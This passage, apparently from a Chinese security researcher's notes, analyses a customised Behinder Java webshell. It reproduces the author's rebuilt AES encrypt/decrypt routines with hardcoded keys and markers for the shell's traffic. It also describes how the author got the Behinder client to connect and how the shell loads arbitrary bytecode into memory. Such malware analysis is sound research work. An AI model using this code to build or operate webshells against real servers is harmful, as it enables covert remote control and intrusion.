base64Encoded = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, encrypted);
base64Encoded = base64Encoded.replace("\n", "").replace("\r", "");
}

// return .getBytes();
//String json = "{\"Message\":\""+pre+java.net.URLEncoder.encode(base64Encoded, "UTF-8")+post+"\"}";
String json = "payload="+pre+java.net.URLEncoder.encode(base64Encoded, "UTF-8");
return json.getBytes();
}


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
private byte[] Decrypt(byte[] data) throws Exception {
String key = "79bec9b8470119f5";
String initVector = "9220dc6228514959";
String pre = "57B53AD816D757C7";
String post = "4E894FF7B4044BB6";

String json = new String(data, "UTF-8");
int start = json.indexOf("\"Message\":\"") + "\"Message\":\"".length();
int end = json.indexOf("\"", start);
String message = json.substring(start, end);

if (!message.startsWith(pre) || !message.endsWith(post)) {
throw new IllegalArgumentException("Invalid prefix or postfix");
}
String encoded = message.substring(pre.length(), message.length() - post.length());
String base64Encoded = java.net.URLDecoder.decode(encoded, "UTF-8");

Class base64Cls = Class.forName("java.util.Base64");
Object decoder = base64Cls.getMethod("getDecoder").invoke(null);
byte[] encryptedBytes = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Encoded);

javax.crypto.spec.SecretKeySpec skeySpec = new javax.crypto.spec.SecretKeySpec(key.getBytes("UTF-8"), "AES");
javax.crypto.spec.IvParameterSpec iv = new javax.crypto.spec.IvParameterSpec(initVector.getBytes("UTF-8"));
javax.crypto.Cipher cipher = javax.crypto.Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(javax.crypto.Cipher.DECRYPT_MODE, skeySpec, iv);

return cipher.doFinal(encryptedBytes);
}

总结:

第一眼看上去这个🐎就不难,然后就被卡住了~

还是要多熟悉熟悉冰蝎的流程,尤其是作者对于内存马的研究,后续想深入了解一下它的源码

多写java代码!

大大的疑惑

后面尝试去还原了一下原版webshell的逻辑,虽然没有它完整,但是发送的payload是可以生效的,然后对应的流量也是完全可以解密了,but就是死活连不上,不晓得为什么

我估计是对于一些类的字节码加载的时候一些函数可能不太适配还是咋的,应该是字节和字符转义出现的问题,冰蝎这个客户端手写加密协议的地方,函数限制的很死,有很多不是很符合现代化java语法的限制,很多高级一点的java语法都不支持,只能说rebeyond作者开发的太早了,作者还是太超模了~

https://github.com/rebeyond/Behinder/issues/300

害奇奇怪怪的问题搞得头大~~(不过有个大胆的想法,要不重构一下吧)~~

9cf3e5101bcf916f1122519dce75f07.png

1451ecd9bbe464e6efee69478f6c1d7.png

忍了一周,还是强行连上了冰蝎

大力出奇迹,周末无聊想了想,还是直接去看了蝎子的源码.通过调试源码发现,前面报的连接错误其实就是加解密函数里出现了不符合作者开发时的java老语法,后面我对着作者给出的加解密示例函数一个个改了语法;对自己的代码语法风格进行微小修正,发现可以正常连接了,并且发出了第一个验证,只不过会报解密错误,后面对着原jsp的格式再修修补补也能连上了,然后也更具体地了解了冰蝎的连接流程以及webshell客户端管理的逻辑,后续考虑再发一篇文章讲解,等我把Agent内存马学废再说,应该可以打造一款自己的冰蝎,我发现它的有些逻辑还是可以优化的~

复盘

一些怀疑:

写这个🐎的人感觉不一定直接使用了冰蝎或者哥斯拉来连接它,感觉更多的可能是用这个文件来落地内存🐎或者进一步攻击,毕竟留了个加载任意字节码的口子在那儿,可操控性就很强了,如果要用的话似乎得改掉冰蝎内部的随机类名的生成方式下面是原webshell的类加载逻辑
在解密后正确获得了字节码进行加载的时候,如果不存在NAPRoutID这个类就进行类加载,并存入session里,键为NAPRoutID,后面再使用的时候直接调用session里的NAPRoutID而不需要重新加载字节码这个地方写死了类加载的类名,但是经过我分析了了冰蝎的源码然后抓出来冰蝎每次连接生成的的字节码,逆向分析发现其实冰蝎每次生成的类字节码的类名都是随机的,并且每次都要重新加载类字节码(恶意的逻辑就藏在字节码里)
我们加入一下调试代码,让连接的时候输出类名即可

1
2
3
                    // 测试加载的类名  
response.getWriter().write(session.getAttribute("style").toString().replace("##style##", ""));
response.getWriter().write(session.getAttribute("style").toString().replace("##style##", "PayloadClass loaded: " + Class_i.getName()));

可以很明显的看到这个类名都是随机的
那么按照逻辑来讲第一次连接的类名被控端那边肯定不知道,只有客户端这边知道而且只用一次那么这样直接连接肯定是会连接失败的

分析一下就是进行了类加载的复用,将第一次成功加载的类存入session,后续再调用,实现了内存马的效果~
不清楚写🐎的人咋想的,既然第一次已经成功加载了类,就可以直接将传统内存马放入恶意类字节码进行加载,那不就可以直接加载进内存了嘛?也不需要继续在原jsp复用这一说,因为根本用不到这个jsp第二次了~(合理怀疑)

[[一次冰蝎🐎的分析]] 这篇笔记主要分析了一个定制版的冰蝎 (Behinder) WebShell。

主要内容:

  • WebShell 概览: 该 WebShell 使用了自定义的 AES-CBC/PKCS5Padding 加密方式,密钥由两个字符串拼接后进行 MD5 哈希得到。它通过 Java Session 存储状态,并动态加载加密的 Java 类字节码来执行恶意代码。

  • 手动还原过程: 笔记作者尝试手动还原 WebShell 的加密和解密逻辑,并成功实现了流量的加解密。

  • 遇到的坑: 在手动构造 Payload 的过程中,indexOf 函数的使用出现了一些问题,需要进行规避。

  • Payload 构造: 最终构造的 Payload 包含 MD5 哈希的前 16 位,以及经过加密、Base64 编码和 URL 编码的恶意类字节码。

  • 问题与思考: 笔记作者在尝试完全复刻原始 WebShell 的行为时遇到了问题,推测可能是由于字节码加载或字符转义的问题,以及冰蝎客户端对 Java 语法的一些限制导致的。作者对冰蝎的源码很感兴趣,并考虑对其进行重构。

  • 成功连接: 通过调试冰蝎源码,解决了加解密函数中 Java 语法不兼容的问题,成功连接冰蝎客户端。

复盘补充:

  • 类加载复用与内存马: WebShell 的设计思路可能是为了落地内存马。它将第一次成功加载的类存入 session,后续直接调用,实现了内存马的效果。

  • 与冰蝎客户端的兼容性问题: 原始 WebShell 的类加载逻辑与冰蝎客户端不兼容,因为冰蝎每次连接生成的类名都是随机的,而 WebShell 却写死了类加载的类名。

  • 推测: 编写 WebShell 的人可能并非直接使用冰蝎或哥斯拉连接,而是利用其加载任意字节码的特性,用于落地内存马或进行进一步攻击。

总结来说,这篇笔记记录了作者对一个定制版冰蝎 WebShell 的逆向分析过程,包括加密算法的还原、Payload 的构造、问题的解决以及对 WebShell 设计思路的深入思考,特别是关于内存马的潜在用途。